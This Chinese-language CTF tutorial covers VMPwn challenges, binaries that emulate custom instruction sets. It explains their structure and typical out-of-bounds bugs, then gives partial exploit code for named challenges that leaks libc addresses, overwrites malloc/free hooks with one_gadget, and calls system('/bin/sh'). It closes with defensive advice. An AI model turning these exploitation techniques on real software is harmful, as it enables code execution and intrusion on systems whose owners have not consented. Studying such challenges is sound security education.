VMPwn之温故知新
字数 1687 2025-08-24 16:48:16
VMPwn技术分析与实战教学文档
一、VMPwn概述
1.1 基本概念
VMPwn是指通过实现虚拟指令集来模拟程序运行的Pwn题目类型,主要考察逆向分析和漏洞利用能力。
1.2 主要分类
-
汇编类VMPwn:在机器码层面模拟程序执行
- 特点:指令集模拟、寄存器/内存模拟
- 典型题目:ciscn_2019_virtual、Ogeek_ovm、D3CTF_babyrop
-
编译器类VMPwn:模拟高级语言代码执行
- 特点:语言解析、语义分析
- 典型题目:2019红帽杯-万花筒、2020网鼎杯青龙组-boom1
二、汇编类VMPwn分析
2.1 基本组成要素
- 代码区:存储待执行的虚拟指令
- 数据区:
- 模拟栈
- 模拟寄存器
- 执行引擎:解释执行虚拟指令
2.2 常见漏洞类型
- 栈越界:模拟栈边界检查缺失
- BSS越界:全局数据区溢出
- 堆越界:堆管理不当导致的溢出
2.3 解题方法论
-
逆向分析流程:
- 识别VM数据结构
- 分析指令处理逻辑
- 定位关键指令处理函数
-
漏洞利用步骤:
- 通过越界读写泄露关键地址
- 构造ROP链或覆盖hook函数
- 劫持控制流执行shellcode
三、实战案例1:2020-no-Conv-CTF_EasyVm
3.1 程序分析
- 核心数据结构:
struct node{
unsigned int reg[6]; // 模拟寄存器
unsigned int chunk1; // 数据块1
unsigned int chunk2; // 数据块2
unsigned int memchunk; // 内存块
unsigned int res2;
unsigned int chunk_addr; // 块地址
};
- 关键指令:
- 0x80:
ptr_chunk[idx] = val(存在堆越界写) - 0x53:
putchar(*reg[3])(输出泄露) - 0x76:
reg[3] = *(ptr_chunk->chunk1) - 0x54:
*reg[3] = getchar()(输入控制) - 0x9/0x11:地址泄露组合
3.2 漏洞利用
-
泄露程序基址:
- 使用0x9+0x11指令组合泄露bss地址
- 计算程序加载基址
-
泄露libc地址:
- 通过0x80指令将reg[3]改为puts@got
- 使用0x53指令分4次泄露puts地址
-
getshell:
- 0x80+0x76+0x54组合写入__malloc_hook
- 分4次写入one_gadget
3.3 EXP关键代码
# leak proc base
Gift()
data = p8(0x9)+p8(0x11)+p8(0x99)
Add(data)
Start()
# leak libc
data = p8(0x80)+p8(0x3)+p32(code_base+0x0002fd0)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd1)+p8(0x53)+'\x00'
# ... 分4次泄露
# get shell
data = p8(0x80)+p8(0x6)+p32(fake_heap)+p8(0x76)+p32(malloc)+p8(0x54)+'\x00'
# ... 分4次写入one_gadget
四、实战案例2:网鼎杯青龙组boom2
4.1 程序特点
- 使用mmap分配大内存块
- 限制执行30条指令
- 存在堆地址与栈地址交叉引用
4.2 关键指令
- 0x0:
v36 = &chunk_8000_addr[*buf2](堆越界读) - 0x6:
chunk_8000_addr_sub_1 = &chunk_8000_addr_sub_2[-*buf4] - 0x9:
v36 = *(_QWORD *)v36(指针解引用) - 0x11:
**v13 = v36(双重赋值) - 0x13:
*chunk_8000_addr_sub_1 = v36
4.3 漏洞利用
-
构造返回地址覆盖:
- 通过指令组合计算libc地址
- 将one_gadget写入返回地址
-
EXP构造:
payload = flat([
0,-4, # set v36 = map_addr
9, # set v36 = stack_addr
6,0x101e0, # set chunk_8000_addr_sub_1
25, # set v36 = retn_addr
6,-0x101e3, # set chunk_8000_addr_sub_1 = map_addr
13, # set map_addr(retn_addr)
# ... 后续计算one_gadget并写入
])
五、编译器类VMPwn分析
5.1 2019红帽杯-万花筒
-
漏洞原理:
- 通过定义与库函数同名的空函数
- 绕过检查直接调用系统函数
-
利用步骤:
- 定义mmap和read函数
- 分配固定地址内存并写入"/bin/sh"
- 调用system执行
-
关键payload:
"def mmap(a b c d e f);"
"mmap(1,1,1,1,1,1);"
"def read(a b c);"
"read(1,1,1);"
"mmap(0x10000,0x1000,3,34,0,0);"
"read(0,65536,20);" # 写入"/bin/sh"
"def system(a);"
"system(65536);"
5.2 2020网鼎杯青龙组-boom1
-
漏洞利用:
- 利用map分配的内存地址固定特性
- 通过变量地址计算libc地址
- 覆盖__free_hook为system
-
关键payload:
main(){
int a;
a=0x12345677;
*(&a-161542)=&a-620937; // 计算并覆盖__free_hook
free("/bin/sh"); // 触发system
}
六、防御与检测建议
-
边界检查:
- 严格校验所有内存访问操作
- 实现完善的寄存器范围检查
-
隔离设计:
- 代码区与数据区分离
- 使用独立的地址空间
-
指令限制:
- 限制危险指令组合
- 实现执行流完整性检查
-
随机化:
- 内存布局随机化
- 指令编码随机化
七、总结与思考
-
汇编类VMPwn:
- 核心是逆向和指令组合
- 重点在于理解虚拟指令语义
-
编译器类VMPwn:
- 需要动态调试寻找规律
- 关注语言解析器的设计缺陷
-
发展趋势:
- 混合型VMPwn题目增多
- 增加了JIT、优化等复杂特性
- 向真实虚拟机漏洞利用靠拢